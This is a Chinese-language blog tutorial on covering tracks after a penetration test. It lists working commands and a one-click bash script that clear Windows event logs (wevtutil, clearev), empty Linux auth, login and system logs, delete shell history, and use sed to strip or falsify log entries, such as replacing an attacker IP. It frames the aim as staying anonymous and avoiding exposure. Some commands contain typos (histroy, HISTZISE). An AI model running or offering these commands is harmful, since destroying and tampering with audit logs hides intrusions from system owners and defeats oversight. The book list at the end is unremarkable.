渗透后消除痕迹的方法及实例讲解

目录

 渗透后消除痕迹的流程

 分类和标准

 方法和工具

 方法

 工具

示例

1、windows

2、linux

 实战案例

 推荐书籍

渗透学习线路图

---

在网络安全领域，渗透后消除痕迹是一个关键的环节。作为一名专业的网络安全从业者，我认识到在成功完成渗透测试后，有效地清除所有痕迹的重要性。很多新手，渗透了忘记擦屁股，最后暴露，如果你刚接触网安，欢迎探讨。

 渗透后消除痕迹的流程

1. 评估痕迹：确定渗透测试过程中可能留下的所有痕迹。
2. 日志清除：删除系统日志、应用程序日志和其他审计跟踪。
3. 消除工具和文件：移除用于渗透的工具、脚本和下载的文件。
4. 恢复修改：恢复被改动的配置和系统设置。
5. 测试验证：确保所有痕迹都被有效清除，避免留下可疑迹象。

 分类和标准

 分类
 日志清除：涉及清除系统日志、应用日志等。
 痕迹抹除：包括删除临时文件、恢复被修改的系统设置。

 标准
 遵守法律和道德原则，确保在授权的环境中进行。
 保持对系统完整性的尊重，避免造成不必要的损害。

 方法和工具

 方法

 使用专业工具：如CCleaner等清理工具，自动化清理痕迹。
 手动清理：对于无法自动清理的部分，如某些日志文件，需要手动删除。

 工具

 Metasploit的clearev命令：用于清除Windows事件日志。
 Linux的logrotate工具：用于管理和清理Linux系统的日志。

示例

1、windows

有远程桌面权限时手动删除日志：

开始-程序-管理工具-计算机管理-系统工具-事件查看器-清除日志

wevtutil：

wevtutil el             列出系统中所有日志名称
wevtutil cl system      清理系统日志
wevtutil cl application 清理应用程序日志
wevtutil cl security    清理安全日志

meterperter自带清除日志功能：

clearev     清除windows中的应用程序日志、系统日志、安全日志

清除recent：

在文件资源管理器中点击“查看”->“选项”->在常规->隐私中点击”清除”按钮

或直接打开C:\Users\Administrator\Recent并删除所有内容

或在命令行中输入del /f /s /q “%userprofile%\Recent*.*

2、linux

清除命令历史记录

histroy -r          #删除当前会话历史记录
history -c          #删除内存中的所有命令历史
rm .bash_history   #删除历史文件中的内容
HISTZISE=0          #通过设置历史命令条数来清除所有历史记录

在隐蔽的位置执行命令

使用vim打开文件执行命令

:set history=0
:!command

linux日志文件

/var/run/utmp 记录现在登入的用户
/var/log/wtmp 记录用户所有的登入和登出
/var/log/lastlog 记录每一个用户最后登入时间
/var/log/btmp 记录错误的登入尝试
/var/log/auth.log 需要身份确认的操作
/var/log/secure 记录安全相关的日志信息
/var/log/maillog 记录邮件相关的日志信息
/var/log/message 记录系统启动后的信息和错误日志
/var/log/cron 记录定时任务相关的日志信息
/var/log/spooler 记录UUCP和news设备相关的日志信息
/var/log/boot.log 记录守护进程启动和停止相关的日志消息

完全删除日志文件：

cat /dev/null > filename
: > filename
> filename
echo "" > filename
echo > filename

针对性删除日志文件：

删除当天日志
sed  -i '/当天日期/'d  filename

篡改日志文件：

将所有170.170.64.17ip替换为127.0.0.1
sed -i 's/170.170.64.17/127.0.0.1/g'

一键清除脚本：

#!/usr/bin/bash
echo > /var/log/syslog
echo > /var/log/messages
echo > /var/log/httpd/access_log
echo > /var/log/httpd/error_log
echo > /var/log/xferlog
echo > /var/log/secure
echo > /var/log/auth.log
echo > /var/log/user.log
echo > /var/log/wtmp
echo > /var/log/lastlog
echo > /var/log/btmp
echo > /var/run/utmp
rm ~/./bash_history
history -c

 实战案例

在对一个公司的网络环境进行渗透测试后，我使用Metasploit的clearev命令清除了Windows事件日志，并手动删除了Linux服务器上的一些自定义日志文件。此外，我还恢复了在渗透过程中修改的一些系统配置，确保系统恢复到原始状态。

 推荐书籍

 《精通Metasploit渗透测试（第2版）》中有一章专门讨论了清除渗透痕迹的技术，非常适合希望深入了解这一领域的读者 。

《Metasploit：渗透测试指南》
渗透测试领域的经典之作，涵盖了Metasploit的使用方法、渗透测试流程以及各种常见漏洞的利用方法。如果你想在渗透测试领域扎实地打下基础，这本书是非常值得入手的。

《Web渗透测试实战指南》
讲解Web方向的渗透测试技术，针对各种Web漏洞的攻击方式和防御方法都有详细的解释和案例实践，适合想要深入学习Web渗透测试的同学。

《Web应用黑客攻防实战》
对于初学渗透测试的同学来说容易理解，有较大的实用性。

《白帽子讲Web安全》
浅显易懂的安全读物，主要针对web黑客的技术、漏洞、攻击方式等详细的内容进行综述。

《Kali Linux无处不在的渗透测试手册》
一本技术性较强的实战书籍，主要讲解渗透测试的环境建立、使用，在Kali Linux上的常用渗透测试方法和工具，进行实际操作时可以参考它。

渗透学习线路图

我希望能帮助您更好地理解如何在进行渗透测试后有效地消除痕迹，以保护自己的匿名性和安全性，如有什么问题，欢迎找我聊鸭~